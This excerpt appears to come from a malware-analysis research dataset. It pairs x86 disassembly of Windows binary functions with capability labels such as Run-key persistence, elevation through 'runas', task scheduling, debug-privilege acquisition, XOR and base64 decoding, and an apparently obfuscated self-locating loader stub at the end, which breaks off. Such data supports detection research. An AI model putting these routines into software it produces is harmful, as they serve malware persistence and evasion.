joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ad0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x462014]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x10], esi
mov eax, dword [eax]
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], esi
push edi
test eax, eax
jne 0x404b2b
push eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
push 0x45813b
mov byte [esi], al
call fcn.00417990
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0041c8c2
mov esp, ebp
pop ebp
ret
mov ecx, eax
xor edi, edi
and ecx, 3
jne 0x404b45
cmp byte [eax + edx - 1], 0x3d
je 0x404b45
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], edi
jmp 0x404b67
mov dword [esp + 0x18], 1
cmp ecx, 2
ja 0x404b5f
cmp byte [eax + edx - 2], 0x3d
jne 0x404b5f
mov dword [esp + 0x20], edi
jmp 0x404b67
mov dword [esp + 0x20], 1
sub eax, dword [esp + 0x18]
and eax, 0xfffffffc
mov dword [esp + 0x40], edi
mov ecx, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
shr ecx, 2
push 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [esp + 0x34]
add eax, dword [esp + 0x1c]
push eax
call fcn.00417850
cmp dword [esp + 0x44], 0x10
lea eax, [esp + 0x30]
mov edx, dword [esp + 0x14]
cmovae eax, dword [esp + 0x30]
mov dword [esp + 0x1c], eax
test edx, edx
je 0x404c35
mov esi, dword [esp + 0x2c]
lea eax, [edx - 1]
shr eax, 2
add esi, 2
inc eax
mov dword [esp + 0x28], eax
nop dword [eax]
movzx eax, byte [esi - 2]
lea esi, [esi + 4]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax*4 + 0x458e78]
movzx eax, byte [esi - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x458e78]
movzx eax, byte [esi - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x458e78]
movzx eax, byte [esi - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x458e78]
mov eax, ecx
sar eax, 0x10
mov byte [edx + edi], al
mov eax, ecx
sar eax, 8
mov byte [edx + edi + 1], al
mov eax, edx
mov byte [eax + edi + 2], cl
add edi, 3
sub dword [esp + 0x28], 1
jne 0x404bd0
mov esi, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
cmp dword [esp + 0x18], 0
je 0x404c92
mov eax, dword [esp + 0x2c]
add eax, edx
mov dword [esp + 0x24], eax
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
mov edx, dword [eax*4 + 0x458e78]
shl edx, 6
or edx, dword [ecx*4 + 0x458e78]
mov ecx, dword [esp + 0x1c]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [esp + 0x20], 0
mov byte [ecx + edi], al
je 0x404c92
mov eax, dword [esp + 0x24]
sar edx, 8
movzx eax, byte [eax + 2]
mov eax, dword [eax*4 + 0x458e78]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + edi + 1], al
movups xmm0, xmmword [esp + 0x30]
mov ecx, dword [esp + 0x5c]
mov eax, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
pop edi
movq xmm0, qword [esp + 0x3c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.0041c8c2
mov esp, ebp
pop ebp
ret
Function at 0x406e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449238
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x462014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 2
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov edx, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push 1
push 0x458cc4
call fcn.00418d40
add esp, 8
xor edx, edx
test al, al
mov ecx, 5
cmove ecx, edx
mov edx, str.runas
push ecx
mov ecx, 0x45813b
cmovne ecx, edx
push ecx
lea ecx, [ebp + 8]
call fcn.00417990
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x466494], esi
cmp edx, 0x10
jb 0x406f06
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406efc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f9c
push edx
push ecx
call fcn.0041cf39
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x406f48
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f3e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f9c
push edx
push ecx
call fcn.0041cf39
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x406f8a
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406f9c
push edx
push ecx
call fcn.0041cf39
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0043653a
int3
Function at 0x40b220
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4498c0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00417de0
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40b2b7
lea eax, [ebp - 0x2c]
push eax
push 0x459288
push 1
push 0
push 0x459278
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40b337
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40b2f3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b2e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3ba
push edx
push ecx
call fcn.0041cf39
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40b39e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b394
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3ba
jmp 0x40b394
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45930c
push 0x458de8
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40b2b7
cmp eax, 0x80070050
jne 0x40b2b7
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40b384
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40b2b7
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40b2b9
push edx
push ecx
call fcn.0041cf39
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8c2
mov esp, ebp
pop ebp
ret
call fcn.0043653a
int3
Function at 0x407860
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4e3e70]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 8], 0
je 0x407887
mov eax, dword [ebp + 8]
push eax
call fcn.0047af00
add esp, 4
test eax, eax
jne 0x40788e
xor eax, eax
jmp 0x407a0e
push 0x4a98dc
mov ecx, dword [ebp + 8]
push ecx
call fcn.0047c051
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4078af
xor eax, eax
jmp 0x407a0e
push 2
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.0047c5a7
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call fcn.0047c4d7
add esp, 4
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0047c2ec
add esp, 4
push 0x200
push 0
lea edx, [ebp - 0x210]
push edx
call fcn.0047bb10
add esp, 0xc
cmp dword [ebp - 0x214], 0x200
jae 0x40791d
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.0047c2a0
add esp, 0x10
jmp 0x407937
mov eax, dword [ebp - 4]
push eax
push 1
push 0x200
lea ecx, [ebp - 0x210]
push ecx
call fcn.0047c2a0
add esp, 0x10
movzx edx, word [ebp - 0x210]
cmp edx, 0x5a4d
je 0x407959
mov eax, dword [ebp - 4]
push eax
call fcn.0047c6a2
add esp, 4
xor eax, eax
jmp 0x407a0e
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0xf8
cmp edx, dword [ebp - 0x214]
jbe 0x407986
mov eax, dword [ebp - 4]
push eax
call fcn.0047c6a2
add esp, 4
xor eax, eax
jmp 0x407a0e
cmp dword [ebp - 8], 0x108
jae 0x4079a1
mov ecx, dword [ebp - 8]
lea edx, [ebp + ecx - 0x210]
mov dword [ebp - 0x218], edx
jmp 0x4079d9
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0047c5a7
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 1
push 0xf8
lea eax, [ebp - 0x210]
push eax
call fcn.0047c2a0
add esp, 0x10
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0047c6a2
add esp, 4
mov eax, dword [ebp - 0x218]
cmp dword [eax], 0x4550
jne 0x407a0c
mov ecx, dword [ebp - 0x218]
movzx edx, word [ecx + 0x16]
and edx, 0x2000
je 0x407a0c
mov eax, 1
jmp 0x407a0e
xor eax, eax
mov ecx, dword [ebp - 0xc]
call fcn.0047b545
mov esp, ebp
pop ebp
ret
Function at 0x407a20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4e3e70]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 8], 0
je 0x407a47
mov eax, dword [ebp + 8]
push eax
call fcn.0047af00
add esp, 4
test eax, eax
jne 0x407a4e
xor eax, eax
jmp 0x407bb9
push 0x4a98e0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0047c051
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x407a6f
xor eax, eax
jmp 0x407bb9
push 2
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.0047c5a7
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call fcn.0047c4d7
add esp, 4
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0047c2ec
add esp, 4
push 0x200
push 0
lea edx, [ebp - 0x210]
push edx
call fcn.0047bb10
add esp, 0xc
cmp dword [ebp - 0x214], 0x200
jae 0x407add
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.0047c2a0
add esp, 0x10
jmp 0x407af7
mov eax, dword [ebp - 4]
push eax
push 1
push 0x200
lea ecx, [ebp - 0x210]
push ecx
call fcn.0047c2a0
add esp, 0x10
movzx edx, word [ebp - 0x210]
cmp edx, 0x5a4d
je 0x407b19
mov eax, dword [ebp - 4]
push eax
call fcn.0047c6a2
add esp, 4
xor eax, eax
jmp 0x407bb9
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0xf8
cmp edx, dword [ebp - 0x214]
jbe 0x407b43
mov eax, dword [ebp - 4]
push eax
call fcn.0047c6a2
add esp, 4
xor eax, eax
jmp 0x407bb9
cmp dword [ebp - 8], 0x108
jae 0x407b5e
mov ecx, dword [ebp - 8]
lea edx, [ebp + ecx - 0x210]
mov dword [ebp - 0x218], edx
jmp 0x407b96
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0047c5a7
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 1
push 0xf8
lea eax, [ebp - 0x210]
push eax
call fcn.0047c2a0
add esp, 0x10
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0047c6a2
add esp, 4
mov eax, dword [ebp - 0x218]
cmp dword [eax], 0x4550
jne 0x407bb7
mov eax, 1
jmp 0x407bb9
xor eax, eax
mov ecx, dword [ebp - 0xc]
call fcn.0047b545
mov esp, ebp
pop ebp
ret
Function at 0x40f1b0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0x4a9e64
push 0x80000002
call fcn.0040fa80
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x4a9e94
push 0x80000001
call fcn.0040fa80
add esp, 0xc
pop ebp
ret

Function at 0x410b40
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 0x20
call dword [fcn.004a9128]
push eax
call dword [fcn.004a904c]
test eax, eax
je 0x410bb7
mov dword [ebp - 0x18], 1
lea ecx, [ebp - 0x14]
push ecx
push 0x4aa120
push 0
call dword [fcn.004a9048]
mov edx, dword [ebp + 8]
neg edx
sbb edx, edx
and edx, 2
mov dword [ebp - 0xc], edx
push 0
push 0
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [fcn.004a9044]
call dword [fcn.004a90c0]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [fcn.004a92d4]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x42ceb0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
push esi
mov esi, dword [esp + 8]
not esi
jne 0x42cec3
xor eax, eax
pop esi
ret
push edi
mov edi, dword [esp + 0x14]
cmp edi, 0x10
jb 0x42d073
xor edx, edx
mov dl, byte [ecx]
mov eax, esi
shr eax, 8
xor edx, esi
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 1]
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 2]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 3]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 4]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 5]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 6]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 7]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 8]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 9]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 0xa]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 0xb]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx + 0xc]
shr eax, 8
xor eax, esi
sub edi, 0x10
add ecx, 0x10
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx - 3]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx - 2]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
xor edx, edx
mov dl, byte [ecx - 1]
shr eax, 8
xor eax, esi
xor edx, eax
and edx, 0xff
mov esi, dword [edx*4 + 0x4ab4a0]
shr eax, 8
xor eax, esi
cmp edi, 0x10
mov esi, eax
jae 0x42ced1
test edi, edi
je 0x42d092
xor eax, eax
mov al, byte [ecx]
xor eax, esi
and eax, 0xff
mov edx, dword [eax*4 + 0x4ab4a0]
shr esi, 8
xor esi, edx
inc ecx
dec edi
jne 0x42d077
mov eax, esi
pop edi
not eax
pop esi
ret
Function at 0x47e44c
Capabilities:
Parse pe header

Disassembly:
push 0x60
push 0x4ade28
call fcn.0047f144
mov edi, 0x94
mov eax, edi
call fcn.0047bad0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [0x4a912c]
mov ecx, dword [esi + 0x10]
mov dword [0x58e3c0], ecx
mov eax, dword [esi + 4]
mov dword [0x58e3cc], eax
mov edx, dword [esi + 8]
mov dword [0x58e3d0], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x58e3c4], esi
cmp ecx, 2
je 0x47e4ac
or esi, 0x8000
mov dword [0x58e3c4], esi
shl eax, 8
add eax, edx
mov dword [0x58e3c8], eax
xor esi, esi
push esi
mov edi, dword [fcn.004a92bc]
call edi
cmp word [eax], 0x5a4d
jne 0x47e4e7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47e4e7
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x47e4ff
cmp eax, 0x20b
je 0x47e4ec
mov dword [ebp - 0x1c], esi
jmp 0x47e513
cmp dword [ecx + 0x84], 0xe
jbe 0x47e4e7
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x47e50d
cmp dword [ecx + 0x74], 0xe
jbe 0x47e4e7
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00483baf
pop ecx
test eax, eax
jne 0x47e527
push 0x1c
call fcn.0047e3d2
pop ecx
call fcn.00480a53
test eax, eax
jne 0x47e538
push 0x10
call fcn.0047e3d2
pop ecx
call fcn.00485a88
mov dword [ebp - 4], esi
call fcn.004821c9
test eax, eax
jge 0x47e551
push 0x1b
call fcn.0047e3ad
pop ecx
call dword [0x4a9274]
mov dword [0x58fc04], eax
call fcn.00485966
mov dword [0x58e37c], eax
call fcn.004858c4
test eax, eax
jge 0x47e577
push 8
call fcn.0047e3ad
pop ecx
call fcn.00485691
test eax, eax
jge 0x47e588
push 9
call fcn.0047e3ad
pop ecx
push 1
call fcn.00482aac
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x47e59e
push eax
call fcn.0047e3ad
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [0x4a9278]
call fcn.00485634
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x47e5bf
movzx eax, word [ebp - 0x40]
jmp 0x47e5c2
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00411cb0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x47e5e0
push edi
call fcn.00482bd9
call fcn.00482bfb
jmp 0x47e612
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0047f17f
ret
Function at 0x484d9e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x484dcc
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x484dd3
cmp ebx, dword [eax + 4]
jae 0x484dd3
xor eax, eax
jmp 0x484fc3
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x484de4
xor eax, eax
inc eax
jmp 0x484fc2
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x484dfa
cmp ecx, edx
jae 0x484f3f
cmp dword [eax + 4], 0
je 0x484e03
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x484deb
cmp dword [ebp + 8], 0
je 0x484e25
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x484f3f
cmp eax, esi
jae 0x484f3f
mov eax, dword [0x58e570]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x484e4a
cmp dword [esi*4 + 0x58e578], edi
je 0x484f43
inc esi
cmp esi, eax
jl 0x484e38
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x4a9280]
test eax, eax
je 0x484fbf
cmp dword [ebp - 8], 0x1000000
jne 0x484fbf
test byte [ebp - 0xc], 0xcc
je 0x484ec8
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x484fbf
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x484fbf
cmp word [eax + 0x18], 0x10b
jne 0x484fbf
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x484fbf
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x484ec8
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x484ec8
test byte [ecx + 0x27], 0x80
jne 0x484f3f
push 1
push 0x58e5b8
call dword [fcn.004a9158]
test eax, eax
jne 0x484ddc
mov ecx, dword [0x58e570]
test ecx, ecx
mov edx, ecx
jle 0x484efc
lea eax, [ecx*4 + 0x58e574]
cmp dword [eax], edi
je 0x484efc
dec edx
sub eax, 4
test edx, edx
jg 0x484ef0
test edx, edx
jne 0x484f2d
push 0xf
pop ebx
cmp ecx, ebx
jg 0x484f09
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x484f21
lea eax, [edx*4 + 0x58e578]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x484f0f
cmp ecx, 0x10
jge 0x484f2d
inc ecx
mov dword [0x58e570], ecx
push 0
push 0x58e5b8
call dword [fcn.004a9158]
jmp 0x484ddc
xor eax, eax
jmp 0x484fc2
test esi, esi
jle 0x484ddc
mov ebx, dword [fcn.004a9158]
push 1
push 0x58e5b8
call ebx
test eax, eax
jne 0x484ddc
cmp dword [esi*4 + 0x58e578], edi
je 0x484f99
mov eax, dword [0x58e570]
lea esi, [eax - 1]
test esi, esi
jl 0x484f87
cmp dword [esi*4 + 0x58e578], edi
je 0x484f83
dec esi
jns 0x484f77
test esi, esi
jge 0x484f97
cmp eax, 0x10
jge 0x484f92
inc eax
mov dword [0x58e570], eax
lea esi, [eax - 1]
jmp 0x484f99
je 0x484fb1
xor ecx, ecx
test esi, esi
jl 0x484fb1
lea eax, [ecx*4 + 0x58e578]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x484f9f
push 0
push 0x58e5b8
call ebx
jmp 0x484ddc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4c3d4b
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x4c3d6d
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x4c3d5f
pop ebx
pop esi
ret
Function at 0x1000cd31
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002cd97
call fcn.10017073
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000cdae
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000cdae
call fcn.10005a99
mov esi, eax
jmp 0x1000ce85
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000cdd1
call fcn.10005a99
jmp 0x1000ce78
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000cdc7
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000ce01
mov esi, 0x8007000e
jmp 0x1000ce7a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000d77d
jmp 0x1000ce27
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cdfa
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000cdc7
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1000d77d
mov esi, eax
test edi, edi
je 0x1000ce85
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000ce9e
lea ecx, [ebp - 0x418]
call fcn.1000c4af
mov eax, esi
call fcn.10016fc0
ret 0x10

Function at 0x1000d77d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000d78c
pop dword [ebp - 0x4c]
mov eax, 0x42ef2a00
add eax, 0xcd11ad8c
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x41775
push 0
mov eax, 0xb7c2a000
sub eax, 0xa7bfaea4
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4cf5
mov edi, eax
mov ebx, 0x1004ac00
